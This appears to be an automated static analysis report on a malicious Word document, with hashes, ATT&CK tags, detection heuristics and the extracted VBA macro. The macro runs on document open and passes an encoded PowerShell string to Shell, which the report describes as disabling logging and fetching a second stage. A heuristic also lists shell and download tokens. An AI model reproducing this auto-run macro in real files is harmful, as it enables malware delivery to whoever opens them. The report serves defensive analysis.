Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4cd1cc265f013e1f…

MALICIOUS

Office (OOXML)

17.6 KB Created: 2021-07-16 10:29:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-04
MD5: 5d706650ae423991307704359b15a127 SHA-1: 708f18dd3379df9f31c5272033dd73c1106e057d SHA-256: 4cd1cc265f013e1fc2a007a6fe78aceba265845e1fa70890108f4f8eb53e9a80
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro that calls ProcessImage. The ProcessImage subroutine attempts to execute a Base64 encoded string using the Shell command. This string decodes to a PowerShell command that appears to disable logging and execute further malicious code. This indicates the document is designed to download and execute a second-stage payload.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell (str)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1141 bytes
SHA-256: 4a723d1a1fab3557aaf21098b3c4590b973b630b8ea62f184ae4306d902994f8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub ProcessImage()
    Dim str As String
         str = "EwAb0wBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGw" & _
            "AbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABDADcANAAyAFsAJwBTAGMAcgBpAHAAdABCACcAKwAn" & _
            "AGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AWwAnAEUAbgBhAGIAbABlAFMAYwByAGkAcAB0AEIAbAB" & _
            "vAGMAawBJAG4AdgBvAGMAYQB0AGkAbwBuAEwAbwBnAGcAaQBuAGcAJwBdAD0AMAB9ACQAdgBBAGwAPQBbAEMAbwB" & _
            "MAEwARQBjAHQAaQBPAG4AcwAuAEcAZQBOAEUAcgBpAGMALgBEAGkAYwB0AEkAbwBuAGEAcgB5AFsA" & _
            "cwBUAHIASQBOAEcALABTAHkAcwBUAGUATQAuAE8AYgBqAGUAYwB0AF0AXQA6ADoAbgBFAHcAKAApADsAJAB2" & _
            "AEEATAAuAEEARABkACgAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwA"
    Shell (str)


End Sub

Private Sub Document_Open()
    ProcessImage
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: e13a66fde7d8247a2c89113534055f9722395728e6d93149f6cdb9755870f061

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